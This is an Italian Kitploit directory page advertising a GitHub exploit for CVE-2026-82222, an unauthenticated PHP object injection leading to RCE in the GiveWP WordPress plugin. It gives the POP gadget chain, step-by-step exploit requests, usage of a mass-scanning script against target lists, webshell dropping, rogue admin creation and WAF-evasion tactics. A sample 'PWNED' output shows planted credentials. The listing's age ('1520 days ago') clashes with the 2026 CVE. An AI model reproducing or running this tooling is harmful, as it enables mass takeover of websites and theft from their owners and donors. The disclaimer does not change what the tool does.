Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-82222 — GiveWP <= 4.16.7.1 Iniezione di Oggetti PHP Non Autenticata → RCE | Kitploit
Strumenti/GitHubGitHub/r0x19/cve-2026-82222
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubr0x19/cve-2026-82222

CVE-2026-82222

GiveWP <= 4.16.7.1 Iniezione di Oggetti PHP Non Autenticata → RCE

Vedi Repository
1520 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-82222 — GiveWP <= 4.16.7.1 Iniezione di Oggetti PHP Non Autenticata → RCE

Autore: Rx019
CVSS: 10.0 (Critico)
Tipo: Iniezione di Oggetti PHP Non Autenticata → Esecuzione di Codice Remoto
Plugin: GiveWP (give) — Plugin per Donazioni e Piattaforma di Raccolta Fondi
Versioni Affette: <= 4.16.7.1
Corretta: 4.16.8


Descrizione

GiveWP memorizza il last_name di un donatore nella sessione PHP senza sanificazione. Quando una donazione viene inviata senza il campo give_last, GiveWP deserializza il valore grezzo dal database direttamente nella sessione. Ciò consente a un attaccante non autenticato di iniettare un oggetto PHP serializzato in last_name tramite l'endpoint del profilo del donatore, per poi attivare la deserializzazione inviando una donazione appositamente predisposta — con conseguente esecuzione arbitraria di comandi tramite una catena POP pre-costruita disponibile nelle librerie vendor incluse in GiveWP.


Catena POP

root@kitploit:~
TCPDF::__destruct()
  └─ Session::getBag()           ← chiama il metodo denominato da $attributeName
       └─ DonationFactory::__call()
            └─ system($command)   ← $command da $attributeName

Classi vendor utilizzate:

ClasseFile
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

Flusso dell'Exploit

root@kitploit:~
1. Registrati come donatore         → sessione autenticata (cookie wp-login)
2. POST /wp-admin/profile.php
   last_name = catena TCPDF serializzata con comando system() incorporato
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (campo give_last OMESSO)
   → GiveWP legge last_name dal DB, scrive l'oggetto grezzo nella sessione
4. GET /?p={form_id}
   → la chiusura della sessione PHP attiva TCPDF::__destruct()
   → la catena POP esegue system(command)
5. Conferma shell / admin creato

Requisiti

root@kitploit:~
pip install requests rich

Python >= 3.9


File

FileDescrizione
CVE-2026-82222.pyPoC per singolo target — output dettagliato passo-passo
CVE-2026-82222-MASS.pyScanner di massa — modalità batch multi-thread

Utilizzo

Target Singolo

root@kitploit:~
python CVE-2026-82222.py

Prompt interattivo:

root@kitploit:~
  URL del Target: https://victim.com

Oppure diretto:

root@kitploit:~
python CVE-2026-82222.py https://victim.com

Scanner di Massa

root@kitploit:~
# Batch da file
python CVE-2026-82222-MASS.py -f targets.txt

# Numero di thread personalizzato
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# Più target inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# Menu interattivo
python CVE-2026-82222-MASS.py

Formato del file batch:

root@kitploit:~
# Le righe che iniziano con # vengono ignorate
https://target1.com
https://target2.com
target3.com          # protocollo aggiunto automaticamente come https://
http://target4.com

Output

Modalità Singola

root@kitploit:~
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + direct)  https://victim.com           │
│  Versione : 4.15.0                                    │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Metodo  : shell + direct (nessuna scrittura .php necessaria) │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

Riepilogo Batch

root@kitploit:~
  Vulnerabili : 12   Parziali : 3   Corretti : 44   Non Vulnerabili : 21   Errori : 2   Totale : 82

Risultati salvati in ~/Documents/CVE/CVE-2026-82222/:

FileContenuto
CVE-2026-82222_YYYYMMDD_HHMMSS.txtRisultato di singola esecuzione
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txtRisultati completi del batch
success_results.txtRighe VULN/PARTIAL aggiunte in coda

Percorsi di Attacco

L'exploit tenta due percorsi principali in sequenza:

Percorso A — Admin Diretto (nessun file shell scritto)

  1. Inietta il codice PHP wp_create_user() come base64 nella catena TCPDF
  2. Attiva la catena — GiveWP esegue il codice lato server
  3. Verifica accedendo come admin creato
  4. Rilascia la shell tramite l'editor di file di plugin/tema di WordPress

Percorso B — Rilascio Shell tramite Catena GiveWP

Utilizzato quando il Percorso A fallisce o l'accesso admin non può essere verificato.

  1. Registra una nuova sessione donatore (nuovo file di sessione PHP — evita la contesa di blocco del worker del Percorso A)
  2. Inietta il comando di rilascio shell in last_name tramite l'endpoint del profilo
  3. Contamina la sessione (dona senza give_last)
  4. Attiva la deserializzazione (/?p={form_id})
  5. Conferma la presenza della shell nelle directory upload/plugin/tema
  6. Fallback: beacon id | tee su un file .txt in uploads

Percorso C — Admin tramite Shell

Se una shell è confermata ma non esiste ancora un admin, creane uno tramite la shell usando wp_create_user() attraverso il parametro ?c= della webshell.


Gestione WAF

WAFStrategia
Imunify360Rimuovi header spoof X-Forwarded-For / X-Real-IP
WordfenceRuota User-Agent dal pool
CloudflareImposta Accept-Encoding: gzip, deflate, br

Note

  • L'exploit richiede che GiveWP abbia almeno un modulo di donazione pubblicato
  • La registrazione deve essere abilitata sul sito target (impostazione core di WordPress)
  • Drenaggio del pool di worker PHP-FPM: viene inserito un sleep di 30 secondi dopo la catena admin diretta per consentire al worker che detiene la sessione di rilasciarla prima delle richieste successive
  • DISALLOW_FILE_EDIT in wp-config.php blocca il vettore dell'editor di plugin/tema — lo script lo rileva subito e passa al Percorso B
  • Nome file shell: Rx{100-999}.php — randomizzato per ogni esecuzione

Disclaimer

Questo strumento è rilasciato esclusivamente per test di sicurezza autorizzati e scopi di ricerca.
Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta.
L'uso non autorizzato è illegale e non etico.

Scarica lo strumento